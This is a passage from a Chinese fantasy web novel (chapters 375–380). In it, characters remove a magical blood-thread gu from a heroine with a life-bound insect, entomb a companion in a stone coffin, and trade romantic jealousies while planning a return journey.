“你!”冷鸢皱起眉头,“那你就不能争取一下么?” “你希望我去争取?”沉默了会,鬼卿问道。 “反正我觉得,你们两个在一起更好,你们两个是我在这世上最在乎的人,我自然希望你们两个都好。”冷鸢走到一棵果树下,停下了脚步,转头看向鬼卿,“你自己好好想想,我总不能害你就是了。” 鬼卿轻轻抿了下唇,没有说话。 * 楚星玄找了根木枝,在地上写写画画,像是在算着什么。 寒羽犹豫了会,走到楚星玄的身边蹲下来,眨巴着眼睛,看着他地上写的字,隔了会才说,“你说……这东西叫血线虫么?”他说着从怀里摸出一块药材,这是他之前看这药材的时候,顺手塞到怀里的。 之后楚星玄认出那药材上也有蛊虫之后,冷鸢就已经把所有的药材都扔了。 楚星玄看了一眼,“你还留着这东西干什么?小心等以后你身上有了伤口,它顺着你的伤口爬进去。” “这东西,我好像见过。”寒羽想了想,又补充,“我在地府见过。” 闻言白锦夜和裴子墨也朝寒羽看了过来。 “你在地府见过血线虫?”楚星玄有些诧异,“地府有这东西?” 寒羽点点头,“修罗讨厌红色,其实也不能说是讨厌红色,而是讨厌这种血线虫。” 三人一起看着他,等他继续往下说。 只是哪知道说完这个,寒羽就没再说了,隔了好一会,他才抬起头,看着其他三个人,挠了挠头,“你们看着我干什么?”说完又看向凌珞,“以前我小时候,照顾我的那个人就总是吓唬我,说如果我不听话,就让血线虫吃了我。” 他说着轻轻抿了抿唇,“你说我们几个都中了这蛊,我是不是马上就要被血线虫吃掉了?” 楚星玄轻轻叹了口气,“你们身上的血线虫都还没发作,裴子墨都还没死,你怕什么?” “哦。”寒羽应了一声,“总归还是可能会死,那我今晚要多吃点。”他说着站起身往外走,一边走一边喊冷鸢,“多抓几只山鸡,我今晚要吃十只山鸡,不,十二只。” 眼下这山洞里没有别人了,楚星玄才转头看向裴子墨,“我可以用我的命蛊救你,但是命蛊只有一个,也只能用一次。他们三个人的血线虫还没发作,暂时也不着急,等你蛊虫除了,我们再一起找解蛊的办法就是。只不过……” 他说着顿了好一会才道,“只不过,我的命蛊对我自己来说也很重要,眼下我已经和暗城翻脸了,从这里出去之后,暗城不知道要怎么对付我,没了命蛊,我就相当于最后一点保命的本钱都没有了。” “你直接说你的条件。”白锦夜开口道。 楚星玄笑了笑,目光落在裴子墨的身上,“我没有什么条件,眼下这种情况,没什么比让你欠我一个人情更好的,况且其他三人的蛊虫想要解除,大概率也要靠我,只要你有求于我……裴子墨,咱们的合作就还得继续。” 裴子墨轻轻咳了咳,“用了你的命蛊,欠你的人情确实不小。” “你也可以考虑,不过你恐怕没有太多时间了。”楚星玄收回目光,看向一旁的凌珞,“我查看过了,凌珞的身上没有蛊虫,他这是在帮你分担,可他现在身上的纹路越来越多,不用我说,你也应该知道的自己情况。好不容易走到这里,别没打开这石棺,凌珞的身体就被蛊虫掏空了。” 他说着轻轻皱了下眉头,“我倒是听我爹提起过一种术法,两个人的命可以连在一起,但是据我观察,凌珞起码承受了伤害的三分之二,你们俩这术法,有点意思。” 第375章 碧血虫怎么还不出来 裴子墨也看向凌珞,当初共命的术法,主要是凌珞完成的,所以他在中间做了什么,她也不是很清楚。 不过凌珞对她,因为执念的缘故,多少是有些不同,做出这样的选择,也不是不可能,微微沉默了会,她才道,“好,那我们的合作继续。” “不过我这命蛊,我自己用起来倒是方便,但是给其他人用,可就麻烦一些了。”楚星玄说着顿了顿,“避三光,不见生人。”他抬头看了一圈,“这山洞倒是个好地方,只要想办法把洞口堵住就可以了。而且中间出一点差错,不仅是要浪费命蛊,咱们俩可能都有生命危险,只不过眼下,恐怕也没有别的办法了。” 裴子墨轻轻皱起眉头,楚星玄都已经这么说了,那就证明他如今确实没有解蛊的办法,再拖下去,对任何人都没有好处。 既然已经做了决定,第二天一早,白锦夜等人便从周围挖了泥土,把洞口全都封好。 洞里只剩下裴子墨和楚星玄。 他们在封洞口的时候,楚星玄便已经在地上画了阵法,让裴子墨坐在了阵法中间。 等最后一丝光亮也消失的时候,楚星玄才开了口低声道,“我不太相信你没认出来这是蛊虫,就算是没认出来是什么蛊虫,可是不可能完全没有察觉到危险。” 裴子墨轻轻皱了一下眉头,半响后才道,“我确实没认出来这是蛊虫。” 楚星玄没再说话,抬手抓住裴子墨的手腕,另外一只手覆在她手心上,“别动,感觉到什么都别动。” 裴子墨见过楚星玄那只碧血虫,用碧血虫给她解蛊,她大概也能猜到自己会感受到什么,片刻后她便感觉掌心有虫子在蛹动,她拧了拧眉,楚星玄从小就玩虫子,估计对这感觉没什么,但是对她来说,一下两下还好,那虫子一直在动,确实是不太容易忍受。 “别动。”楚星玄另一只手紧紧地抓着她的手腕,“这碧血虫是我养的,它本来就对外界很敏感,我画的这个阵法,能让咱们两个的气息接近,让它不好辨别,它平时对我是亲近的,如果感受到你在躲着它,它会察觉异常的。” 裴子墨抿着唇,她都有些后悔昨天血莲晶露喝得有点多了,如果只是少喝一点,止住了疼痛,现在她还是虚弱昏迷的状态,估计也就不需要感受这难受的感觉了。 不知道过了多久,她才感觉到掌心有一丝丝的疼痛,随即这丝疼痛加剧,伴随着疼痛,她也能清晰的感觉到,那碧血虫在往她的掌心里面钻。 “别动,别动,快好了。”楚星玄抓着她的手腕,另一只手也避免她把掌心合上,毕竟碧血虫还没有完全的钻进去,还是需要留有一些空间,可别还没钻进去,就被裴子墨给捏死了。 随着碧血虫慢慢的往掌心里钻,裴子墨身体里的血线虫像是也有了感应,瞬间全身都开始疼,她另一只手死死地抓着自己的一角,可还是忍不住痛呼出声。 “怎么样?”洞外的白锦夜闻声立刻开口问道。 “没事。”楚星玄拧着眉回了一句,“有事就叫你们了,没叫你们就不要乱动。” 他这句话说完,碧血虫也完全进入了裴子墨的手心,他也不用再抓着她的手腕,就赶紧松开手,站起身,往后退了几步,看着她的方向道,“这会肯定是会难受,你忍一忍,等碧血虫的功效发挥出来,应该会好些。” 裴子墨疼得在地上直打滚,哪还听得进去楚星玄的话? 现在她身上的疼,可比昨天把她疼醒那会的疼痛更严重。 她身体里就像是有无数只虫子在挣扎乱窜,她只感觉自己脑袋里疼得只剩下空白,甚至觉得晕过去可能会好一点,只是偏偏无论再疼,这会也完全要晕过去的迹象。 白锦夜等人在外面也能听到裴子墨的声音,他们不知道发生了什么,只会更着急。 他就在洞口前一遍一遍地走着,看得冷鸢心烦,干脆道,“等圣女身上的蛊除了,身体肯定虚弱,需要吃些东西补一补,我去找点吃的。” 说完目光就落在鬼卿的身上,本以为鬼卿会去跟她找点吃的,只是鬼卿虽然没有想白锦夜一样走来走去,但眼睛也是一直盯着洞口的方向,显然完全没有听到她的话。 冷鸢忍不住叹了口气,转头看向寒羽,“寒羽,走,去抓山鸡。” 寒羽知道自己在这也帮不上什么忙,于是就开心的跟冷鸢去抓山鸡了。 不知道过了多久,裴子墨的声音才终于逐渐消失。 楚星玄又等了会,才走上前,洞里虽然没有光亮,但他也还是能隐约地分辨出裴子墨蜷缩在地上,他抬手推了推她的肩膀,低声问,“没死吧?” 裴子墨没有力气理他,也就没有说话,他这话问出来分明是废话,她死没死,他离得这么近,感受不到她的气息么? “看样子确实是没什么力气了,都不顶嘴了。”楚星玄说着把把她扶起来,抬手摸了摸她的脉搏,随即转头看向外面,“好了好了,把洞口拆开吧,我需要点光亮。” 他的话音落下,封住洞口的泥土就被人踹倒,随即白锦夜和鬼卿一前一后迅速的冲了进来。 “别靠得太近。”楚星玄赶紧抬手制止,“我得把碧血虫引出来,你们身上有针么?” “我有。”裴子墨拧了拧眉,掏出银针递给楚星玄。 楚星玄把她的十指指尖全都扎破,一些暗红的血液瞬间从她的指尖流了出来。 正常若是指尖被扎破,也不过就是滴一些血滴,可能还要挤一挤才会流出来,但是眼下这血就像是从很大的伤口里面流出来,所以也不可能是血,应该是血线虫死后化为的液体。 她的掌心处,也有一小块破了的地方,那是碧血虫钻进去的位置。 楚星玄割破自己的手指,用血绕着在这处地方画了一圈,然后便低头认真地等着碧血虫爬出来。 只是等了许久,一点动静都没有,楚星玄也开始有点拿不准了,脑袋上都开始渗出汗珠,“碧血虫怎么还不出来?” 第376章 死人的醋,吃起来确实没意思 鬼卿拧眉看着裴子墨的手,随着暗红的血液流出来,她的皮肤越来越苍白,“你确定碧血虫发挥功效了?有没有可能碧血虫被血线虫吃了?” 楚星玄转头看向鬼卿,“你能不能说点好话?” “我只是在问你这种可能性。”鬼卿抬眼看着他,“如果血线虫这种蛊这么厉害,这些日子下来,裴子墨身体里的血线虫应该不少,碧血虫被吃掉也不是不可能。” 楚星玄摇了摇头,“不会,我们的命蛊虽然只能用一次,但是这命蛊跟我们的性命相连,用一次之后,也要善待,不然命蛊如果死了,我们也一样跟着死掉。”他说着顿了顿,“这件事,只有楚家代代相传,外面的人并不知道,我还活着,证明碧血虫没事。” 白锦夜沉默了会,走到凌珞身边,检查了一番才道,“凌珞身上的红色纹路都褪下去了,看样子血线虫应该是没有了。” 楚星玄盯着裴子墨的掌心,“就是不知道,碧血虫为什么还不出来。”他说着挤着手指上的伤口,又涂了一圈鲜血。 “也许是沉睡了。”裴子墨轻轻拧了下眉,“不然让它养一养,等苏醒了是不是就出来了?” “不行。”楚星玄赶紧摇头,“我都说了这东西对我的重要性,命蛊用过一次之后,就会非常脆弱,只有回到碧血石里面,才能更好的休养,不然说不定一阵冷风吹过,它就死了。再说……”他顿了顿,转头看了一眼地上已经被裴子墨弄坏的阵法。 “在那阵法里,它感觉到我们是一个人,才会进入你的身体,可是现在离开了那阵法,它苏醒过来,若是感觉不到我的气息……你也会有危险。它虽然很脆弱,但是若是它感觉到危险,玉石俱焚之下,力量也不小。” 裴子墨看着他,“反正最近你也不会离开这,那你就慢慢想想,要怎么把碧血虫引出来吧。” 说着话,冷鸢和寒羽走了回来。 见裴子墨已经没事,冷鸢也开心了起来,问她想要吃点什么,虽然眼下能做的吃的不多,但是也会尽量满足她的需求。 楚星玄一时半会引不出碧血虫,只能跑到一边对着墙发呆,仔细地回忆关于这命蛊的事情。 没了血线虫,血莲也开始能够吸血了。 温养了血莲之后,裴子墨的身体也不想之前那么虚弱,便绕着石棺,开始尝试打开石棺的方法。 她这边正研究着,突然听到楚星玄在那边大叫了一声。 “我想起来了。”楚星玄转头看向裴子墨,眼睛里带着一丝懊恼,“我之前给你和我的命蛊结了血契!后来你把命蛊还给我的时候,我忘了解开这血契了!该死的!” 裴子墨朝他看过去,“所以呢?” “还好我这段时间都没有需要用命蛊的时候,不然不是眼睁睁地看着我的命蛊我自己却不能用?”楚星玄有些无语,“所以碧血虫对你应该也会有些亲近,在你那呆着暂时也没事,等它养一养,恢复些元气再还给我吧。” 裴子墨点了点头,“放心吧,我对你的小命没兴趣,不会杀了你的碧血虫的。” “那你也最好保护好你自己的小命。”楚星玄嘀咕了一句,人活着真是太难了,除了要保护好自己的命以外,还要时刻想着另外一个人也不要死,不然裴子墨一死,她身体里的碧血虫也就活不了多久了。 如果他当时就在旁边,及时的引出了碧血虫还好。 可是如果他不在,那碧血虫一死,他也要无缘无故丧命。 他转头托着下巴看着躺在一边的凌珞,要不是格外的在乎,估计凌珞也不会跟裴子墨结那种共命的术法。 不知道凌珞有没有后悔过,反正他现在是极度后悔,他不开心,他就要找人跟他一起不开心。 于是他挪到了白锦夜的旁边,压低了声音问道,“你不会吃醋么?” 白锦夜转头看向他,皱起眉头。 楚星玄用下巴点了点凌珞的方向,“你看裴子墨为了把他送过来,差点把命都搭上了,他也可以为了裴子墨不要自己的命,难道你不吃醋么?” 白锦夜看了看凌珞,关于凌珞的由来,裴子墨跟他说起过,他只是那个人身上分出来的执念,无论他对裴子墨好,还是裴子墨对他好,这跟凌珞本身都没有关系,而都是因为那个人。 所以,即便是吃醋,他也没有必要吃凌珞的醋。 至于那个人……如果那个人此刻真的出现,他就算吃醋,恐怕也不解决任何问题。 沉默了会,他没接这个话题,而是低声道,“我一直以为,冷鸢和鬼卿在圣殿应该是下人或者下属。” “不是么?”楚星玄不明所以。 “冷鸢一直称呼裴子墨为‘圣女’,但是鬼卿……” 白锦夜还没说完,楚星玄就一脸恍然大悟的模样,“鬼卿刚才直接叫她的名字?” “不只是刚才。”白锦夜说着顿了顿,“她刚到我府上的时候,叫裴清歌,我第一次知道她叫裴子墨,就是鬼卿告诉我的。” 楚星玄托住下巴,朝洞口那边的鬼卿看了一眼,“所以鬼卿和裴子墨的关系,并不是我们以为的那样。”他说着笑了笑,“嗯,有点意思,这圣殿,除了前任圣女,满打满算的,就他们三个人,一个男人两个女人,要是有点别的关系,也说不定是不是?” 他说着顿了顿,又补充道,“怪不得现在没吃凌珞的醋,凌珞已经躺在那连口气都没有了,搞不好再也醒不过来了,裴子墨打开别人的棺材把凌珞放进去,也不过就是在给凌珞找墓地呢,死人的醋,吃起来确实没意思。” “还是活着的人……会更酸一点。裴子墨把你扔下了,没带你,却偏偏带着鬼卿来了,嗯,要是我,我也应该会看鬼卿不顺眼。” 他说完又看向白锦夜,“而且鬼卿可比你听话多了,裴子墨让他做什么他就做什么,如果是裴子墨让他不要跟着她,他肯定不会像你这样厚脸皮的跟上来。” 白锦夜拧着眉,那个人,会是鬼卿么?当初那老和尚说,“从哪来回哪去”,鬼卿已经很久没出现了,裴子墨现在找到鬼卿,是为了让凌珞能回到鬼卿身上么? 想到这,他的手蓦地握紧,而且鬼卿现在身上的气息也完全不同了,和之前相比,完全像是换了一个人,难道就是因为凌珞这股执念回到他身上了? 第377章 不需要你来帮我做选择 因为这石棺打开之后还要再合上,所以裴子墨也比较小心,直到第二天傍晚的时候,才打开了石棺。 石棺里是一个四十岁模样穿着灰色长衫的男子,宛如睡着了一般,双手垂在身侧,腰间别着一支红色的玉笛。 本来这尸体在石棺里好好的,现在占用了人家的地方,裴子墨心里多少也有些过意不去,所以这两天已经让鬼卿和寒羽帮忙简单地做了个木头棺材,把尸体放进去,打算安顿好凌珞之后,再在附近找个风水差不多的地方把尸体葬了。 把凌珞放进石棺,冷鸢帮忙简单地整理了下他的衣衫,她虽然不知道这个人是谁,但是也听楚星玄说了,之前他身上出现红色的纹路,是帮裴子墨分担了血线虫的危害,反正在她的眼里,只要是帮着裴子墨的人,便都是好人,于是对着凌珞多少还是有些耐心和好感的。 裴子墨站了会,转头看向白锦夜,“我之前给你的那块玉佩呢?” 白锦夜微微皱了下眉,拿出裴子墨给过他的本命玉佩递过去。 裴子墨接过玉佩,在玉佩上写了一个阵法,但凡这玉佩周围有活人的气息出现,她就会有感知。 她不知道凌珞什么时候会醒,若是醒来见到自己在这种地方,恐怕也会有些懵,这石棺打开需要固定多的术法,就算是从里面强行破开,在里面的人也要受到伤害。 所以等凌珞醒了,她能第一时间知道,也可以告诉他打开石棺的术法。 另外就是……有时候这世上的事情就是这么奇怪,这里以前可能从来没有人来过,那个人的尸体在这里放了无数年也没人打扰。 可说不定他们来过之后,这里以后就莫名的还会再有别人来。 若是那些人不小心打破了石棺,凌珞可就再也别想醒过来了。 写好阵法之后,她把玉佩系在了凌珞的腰间,然后合上了石棺。 之前这洞口就有阵法,她打算在石棺周围和洞口也都留下阵法,所以正要叫大家收拾一下从山洞里退出去的时候,就见楚星玄趴在木头棺材上,正在翻着什么东西,她皱起眉头,“楚星玄,你干什么呢?” “哎,这人被埋在这个洞穴里,洞穴门口有阵法,又是这么好的玉石棺,身上肯定有点好东西不是?一会咱们就要把他埋了,我们能遇到也是有缘,好东西留给我们也不算浪费啊……”楚星玄说着转过身,一手拿着尸体腰间的玉笛,一手拿着一本有些残破的书,“可惜了,就只有这两样东西。” 裴子墨眉头皱得更紧,“你这是偷。”她说着走过去,就要把这两样东西抢过来放回来。 楚星玄赶紧躲开,只不过下一瞬就把鬼卿抓住手臂。 “东西放回去。”鬼卿盯着楚星玄命令道。 “你可真是……听话。”楚星玄瞪着鬼卿,转头看向裴子墨,晃了晃手里的书,“这书上有四个字,第一个字是‘蛊’,第三个字是‘万’,而且这四个字也刻在了这笛子上,这血域本就是以养蛊出名,我要是没猜错,这人应该跟血域有莫大的关系,这书可能就是一本养蛊秘笈。” “我现在身上可没有中蛊,中蛊的人是鬼卿,冷鸢,还有那个寒羽,要不要解蛊你自己想啊,你要是觉得不需要,那就放回去好咯。” 裴子墨闻言走了过去,把书从楚星玄的手上拿过来,“蛊御万疆?”她说着翻开书,里面确实画着一些蛊虫,旁边记载着这蛊虫的习性以及如何操控。 她把书朝楚星玄扔了回去,“便宜你了。” 裴子墨已经这么说了,鬼卿自然也就放开了手。 楚星玄笑着收好书和笛子,他虽然是那么说,可万一裴子墨真的还是让他放回去,那他可是要心疼死了,之后怎么也得想办法再偷出来。 “既然你得了好处,这尸体也算你半个师父了,你就负责找个风水好的地方,把人葬了,记得磕两个头,让他以后保佑你。”裴子墨开口道。 “这是自然。”楚星玄点点头,于是就以给寒羽解蛊的借口,招呼寒羽一起帮忙把木头棺材抬了出去。 裴子墨看向鬼卿,“咱们马上就要离开这,我要在这里画些阵法,离开的路上也要准备些吃的和水,离开这山上不知道下面还有没有安全的食物,你和冷鸢先去找点吃的吧。” “好。”鬼卿点点头,和冷鸢一起离开了山洞。 裴子墨绕着石棺写阵法,白锦夜站在一旁看着她。 片刻后,裴子墨先开了口,“你想说什么?” 白锦夜倒是没想到裴子墨会先出声问他,其实在来的路上,在见到裴子墨之前,他确实有很多话想说,只是到了现在,他又突然不知道该说什么了,于是沉默了半响之后,只是说,“我没什么想说的。” “没有?”裴子墨转头看了他一眼,像是有些诧异,隔了会,她收回目光,继续道,“其实在平县的时候,你会昏迷那么久,跟那位大师没关系。是我本来想要抹掉你在琼华山的那些记忆,但是不知道为什么,试了几次,都失败了。” “所以在回复州之前,在沈家那处院子,我们说那些话之前,你就已经想过让我忘掉那些事,就已经想过,从那寺庙里离开之后,你走你的路,就不让我再跟着了,是么?”白锦夜拧着眉开口问道。 “是。”裴子墨点点头,“在这世上,人外有人天外有天,我本来以为大部分事情能在控制之中,但是见到那位大师之后,我觉得可能有些事是我想的太单纯了。我不想让你在掺杂在我的事情里面,这对你来说太危险了。” 白锦夜没再说话。 裴子墨转头看了看他,“你应该有自己的事情要做。” “确实。”白锦夜点点头,“但是我能够自己独立思考,不需要你来帮我做选择,我会选择我想要做的事情,哪怕因此丧命,我也觉得值得。” 第378章 养人蛊 裴子墨轻轻叹了一口气,收回目光,没再说话。 等石棺周围和洞口的阵法全都画好,鬼卿和冷鸢也带着吃的回来了。 裴子墨抬手指了指洞口,“鬼卿,你去看看这阵法,估摸一下你破开这阵法要多久。” 鬼卿破除封印,恢复之前的记忆,如今术法便是鼎盛时期,凌幽尚不是鬼卿的对手,如果这阵法鬼卿破起来都很麻烦,那裴子墨就确实可以放心了,除了老和尚那样的人,或者遁世岛的人来以外,凌珞都是安全的。 鬼卿去洞口前看了半响,“能破开,但是很麻烦,粗略估计要三五天。” “那就可以了。”裴子墨点点头,鬼卿都要三五天,换了别人说不定要十天半个月,或者时间更长,到时候她通过玉佩有所感知,也许能来得及赶过来,“我现在术法虽然不如你,但是阵法上,我还没吃过亏。” “那是自然。”鬼卿说着瞥了一眼七杀斩,七杀斩是裴子墨所炼,既然它能破世间一切阵法,就证明裴子墨曾经在这方面的造诣极高,他倒是有点期待,想看看巅峰时期的裴子墨,术法到底有多高。 没一会,楚星玄和寒羽也走了回来。 看着寒羽身上不少泥土,楚星玄身上却干干净净的,裴子墨大概也能猜到,活儿肯定都是楚星玄指使着寒羽干了。 她瞥了楚星玄一眼,“若是修罗王知道他的儿子被你这么使唤,等将来你死了入了地府,可没好日子过。” “这话怎么能这么说呢?”楚星玄一脸无辜,“我也没闲着啊,我这不是刚得到一本秘笈,正在认真的找解蛊的方法么?” “书名都认不全,还能找得到解蛊的方法?”裴子墨嗤笑一声。 “你还别说,我真的找到了,就是确实没完全看明白。”楚星玄走到她身边,翻开书,“你看这里,是不是血线虫?” 裴子墨接过书,低头看着。 那老和尚上说,这石棺里的尸体是他的师弟,他们是同一时期的人,但是《蛊御万疆》这本书上的字,估摸着可没有老和尚那本《阴阳策》的文字古老,中间若不是差上个上千年,都不可能有这么大的演变差距。 所以《蛊御万疆》上的字,裴子墨基本上都是认识的。 当然也有另外一种可能,老和尚的那本书,也是老和尚的前辈们流传下来的。 而老和尚师弟的这本书,有可能是他到了血域之后,自己慢慢研究,慢慢写出来的。 “这里没太看懂,需要的这个药材是什么,明什么?”楚星玄指了指,“你能认出书名,你给我翻译一下。” “明珠?”鬼卿开口问道,“是我们在那个药材匣子里看到的东西?” 裴子墨点点头,“确实,这里记载了明珠的炼制方法,那东西……确实是人的眼球,我看这本书里,大部分都是把人炼制成药蛊,然后去对付其他的蛊虫。”她说着抬眼看向楚星玄。 楚星玄连连摆手,“你放心你放心,我不会做出这种丧尽天良的事情的。” “你们暗城,若是跟血域来往的多,血域教你们的东西,应该也有这些吧?我不信你们暗城里面没什么见不得人的东西。”裴子墨眯起眼。 楚星玄干笑几声,往后退了几步,“我现在跟暗城已经没有关系了,你不能把暗城的腌臜事扣在我头上。” “看样子,你是知道暗城的‘腌臜’事的。”裴子墨看着他道。 楚星玄皱了下眉,半响才道,“暗城确实有个地牢,里面有一些人,是关着犯了事坏了规矩的人。就像是你们圣殿的肉尸一样,那位犯了法的人,不都是被炼成肉尸么?” “可肉尸能够恢复。”裴子墨继续道,“暗城养的人蛊,也能么?” “那我也没办法啊,况且,我连那个地牢在哪都不知道,我至今都还没有资格进入那地牢,以前我爹总是说,等我成了暗城的城主,就可以进去了,现在好了,我再也不可能进得去了。”楚星玄摊了摊手,“你要是觉得的暗城养人蛊太过逆天,咱们一起把暗城灭了不就好了?” 裴子墨笑了笑,“算盘打的真好,你知道暗城这么多秘密,要么被抓回去,做你该做的事,要么也就只有死路一条了。你和暗城眼见着是不死不休,还要把我拽上。” “那这不是巧了么?”楚星玄嘴角的笑容也变大,“怎么就这么巧,你偏偏是受伤之后中了血线虫的蛊,你要是像他们一样,不急着解蛊,也用不上我的命蛊,现在命蛊你都用了,要是就这么一拍两散,我可不同意。” 裴子墨把手里的书给他扔回去,才开口道,“看样子,咱们也不能从这下山了,只能原路返回,找到那个村子,去拿那种药材了。”她说着看向鬼卿和冷鸢,“你们还记得的路么?” “差不多。”鬼卿点点头,“但是回去肯定还会有危险。” “只能万事小心了。”裴子墨轻轻叹了口气。 这次往回走,马车上装的就都是吃的了,鬼卿和白锦夜可以不用吃,寒羽也说自己一段时间不吃东西没事。 不过就只有裴子墨、冷鸢和楚星玄三个人,要带的吃的也不少。 走过去需要时间,如果能顺利的拿到药材,肯定不能再往前走,就要先返回到这山上,然后按照楚星玄知道的,比较安全的路返回。 一来一回,也要按照三个人十几天的口粮准备着。 即便寒羽说他可以不吃,但是以他的心性,若是馋了,说不定也还是非要吃几口的。 楚星玄拍了拍马的脖颈,又扒开它的眼皮看了看,“希望这马能坚持到地方吧,不然就没有马拉马车了。”他说着想起什么,转头看向寒羽,“你要是变成修罗本体,能拉马车么?” “我要是变成修罗本体,我就先一口把你吃了。”说完寒羽有些委屈地转头看了看山上,“那死孩子从小就喝我的血,我不知道多想把他吃了,结果他死了,我就为了口吃的,还得老远把他送过来安葬,现在还中了蛊,我真是好可怜。” 第379章 我跟左辞过日子得了 楚星玄并不太知道凌珞的身份以及他和寒羽之间的渊源,听到寒羽这句话,便知道这中间有什么隐情,于是便拉住了寒羽,一边往前赶马车,一边道,“你跟我一起走,这里面,只有我最熟悉蛊的事,在这个地方,只有跟我在一起才最安全。” 寒羽拧着眉,有些防备地看着楚星玄,“你又要让我干什么?” 楚星玄看着他,“这会要赶路,我能让你干些什么?不过就是赶路太无聊,想找个人聊天而已,不然你给我讲讲……那个死孩子为什么要喝你的血。” 说到这件事,寒羽有一肚子的牢骚,反正闲着也是闲着,便把自己知道的都讲给楚星玄听。 冷鸢跟着裴子墨走在中间,走了会她的脚步就慢了下来,到了跟白锦夜和鬼卿一排,她转头对着鬼卿使了个眼色,鬼卿轻咳了一声,往前走了几步。 白锦夜看着鬼卿,微微皱起眉头,只是还不等他做什么反应,冷鸢就开了口,“那个……左辞怎么没跟着你?” 白锦夜有些诧异地看了一眼冷鸢,他自然知道她从一开始就不愿意见到他和裴子墨在一起,这会主动找他说话,多少还是有些奇怪,沉默了会,他才道,“我来你们圣女都嫌我拖后腿了,左辞更是普通人一个,不是更拖后腿了?” “那怎么一样?”冷鸢嘀咕一声,“左辞起码会看人脸色,能把路上的事都安排的明明白白妥妥当当。” 白锦夜眯了下眼,“这么说,你对左辞印象还不错?据我所知,他恰好也没有婚配。” “我就是随便问问,你不要乱说!”冷鸢听到白锦夜提起这个,脸色有些别扭,赶紧道。 白锦夜轻笑了一声,“左辞这个人,贵在忠心,在他的婚事上,我要是说个不字,大概打死他也不敢点头。” “威胁谁呢?”冷鸢不愿意了,“圣女和你是一回事,我和左辞是一回事,别以为我会因为左辞就在你和圣女的事情上让步!” “我知道了,你就是看上左辞了。”白锦夜点点头,“我没有威胁你,我只是给你讲道理,左辞孤家寡人一个,头脑又简单,他的婚事我自然是要过问的,我可不想看他后半辈子都被人欺负。” “懒得跟你说。”冷鸢瞪了白锦夜一眼,快步走了几步,把他甩在了后面。 白锦夜抬眼往前看去,鬼卿已经走到了裴子墨的旁边,两个人正在说笑,他轻轻蹙了下眉,在鬼卿离开之前,他和鬼卿聊过几次,那时候鬼卿基本上都是表达自己是把裴子墨当妹妹对待的。 而且那时候他对裴子墨,也会保持距离,多少像是带着一点敬畏。 就像是左辞平时再跟他嘴贫,心里也还是把他当主子。 可如今鬼卿像是完全不一样了,放在以前,鬼卿哪敢在裴子墨面前这般放松的说说笑笑? 裴子墨其实也不过就是跟鬼卿聊了聊以前他在圣女一脉的事情,问问他曾经每天都过着女扮男装的日子是怎么样的。 在鬼卿没有被发现性别之前,跟家人在一起的时候,确实是他这一生最开心的日子。 提起那时候的事情,虽然偶尔会有些囧事,但是只要想起来,鬼卿的脸上都是带着笑容。 裴子墨转头看了看鬼卿嘴角的笑,每个人的记忆里都自然会有这一生最开心的日子,那些事情无论什么时候提起来,都可以让人瞬间充满幸福感。 她抿了抿唇,转头朝白锦夜看过去。 恰好也见白锦夜看着她,目光交汇片刻,她便收回了目光,轻轻叹了一口气。 这声叹息虽然很轻,可鬼卿也还是听见了,他慢慢地收起嘴角的笑容,犹豫了片刻才问道,“你的事情,我也许不方便过问,但是如果有我能帮上忙的,你尽管开口就是。”他说着顿了顿,“这次离开血域之后,我想找个地方安顿我姐姐,只要她过得开心,我便没了牵挂,如今你身边真的能帮上忙的,恐怕也没有什么人。” “是啊。”裴子墨点点头,“你的封印没有解开之前,我们都拿凌幽没有办法,更何况是比凌幽更厉害的人呢?” “我记得你当时跟我说,会有一个很厉害的人帮你。”鬼卿说着仔细想了会,“那个人你找到了么?” 裴子墨有些迷茫地看向鬼卿,“我说过这话?” “你不记得了?”顿了顿,鬼卿道,“你说能帮你的人,你都找好了,也都安排好了,只等到固定的时候,他们就会像是‘顺其自然’的出现,所以你当时跟我说,不用担心其他太多的事情,做好我能做的就可以了。” “是么?”裴子墨沉默了会,“大致应该就是这样。我和你之前一样,有一些记忆被封印着,但又有些不一样,你的封印是一下子就都解开了,而我现在只是解开了一部分记忆,还有一些记忆要慢慢解开,那就不知道要在什么时候、需要多久了。” 鬼卿微微点点头,没再说话。 又往前走了一段,后面突然传来白锦夜低呼的声音。 裴子墨皱了下眉,转头见他捂着胸口停在原地,便走过去询问。 白锦夜抓住她的手按在自己的胸口,低声道,“这里不舒服。” “怎么了?”裴子墨赶紧问,“怎么不舒服?” “你跟鬼卿说说笑笑的,像是当我死了。”白锦夜拧着眉,他已经忍了又忍,可实在是忍不住了。 “没事吧?”鬼卿等人也停下来询问。 “没事,你们先走。”裴子墨回了一句,才低声问白锦夜,“你幼稚不幼稚?” “我幼稚了,你能陪我走一会?”白锦夜抬眼看着裴子墨,“我这么远跑过来找你,你都不能说句让我开心的话么?” 裴子墨抽回手,“你难道来找我之前,没想过我会说什么么?”她说着迈着步子往前走,不过脚步倒也没急,跟前面的几个人拉开了一些距离。 白锦夜知道不能再提这个话题,这个话题再怎么说最后都避免不了不欢而散,便转口道,“你那丫鬟冷鸢对左辞好像有点意思,你不想跟我在一起,那大概也不想让她跟左辞在一起,回头我得提醒下左辞,让他长点心眼,别哪天上心了,最后又被嫌弃、扔下,要是那样,我就跟左辞过得了。” 第380章 我想要怎么样,你真的不知道么? 裴子墨轻轻抿了抿唇,倒是不知道是不是她没太注意冷鸢的情绪变化,确实没看出来冷鸢对左辞有点意思。 之前虽然在一起相处过,不过那一会冷鸢和左辞总是拌嘴。 拌嘴。 裴子墨微微勾了勾唇,也想起了什么,大概很多感情都是从拌嘴开始的。 而且他们第一次上琼华山之后,左辞和冷鸢他们一起在西河城呆了些日子。 说不定那时候就暗生情愫了。 后来冷鸢跟着鬼卿一起离开,她倒是见过左辞不少,可是左辞也完全也没有提过这码事。 裴子墨不由想到曾经给左辞算的卦,当时的卦象上就显示将来恐怕是女子对左辞主动,左辞大概对这件事有些木讷,所以一直也没感受到什么。 不过若是左辞的话,也未尝不可以。 冷鸢虽然会一些术法,但也不算太高,就像鬼卿刚才说的,这次从血域离开之后,肯定是要找个地方来安顿冷鸢了。 如果她和左辞真的可以,那以后有左辞照顾冷鸢,裴子墨也是放心的。 她想着目光也落在鬼卿身上,鬼卿和左辞也有过相处,应该对他多少有些了解,就是不知道鬼卿会不会同意了。 他这个姐姐,对他来说,可比命都重要,他宁愿自己受苦,也不会再想要见到他姐姐吃一点苦。 虽然……左辞应该也不会让冷鸢吃什么苦,不过在他们的眼里,也就是过普通平凡的日子了。 可是普通平凡的日子,未尝不是最好的日子。 白锦夜跟在裴子墨身边,见她听到这件事脸上有了笑意,就知道她应该也是同意冷鸢和左辞的事情的,毕竟一直以来,左辞对裴子墨也算是忠心。 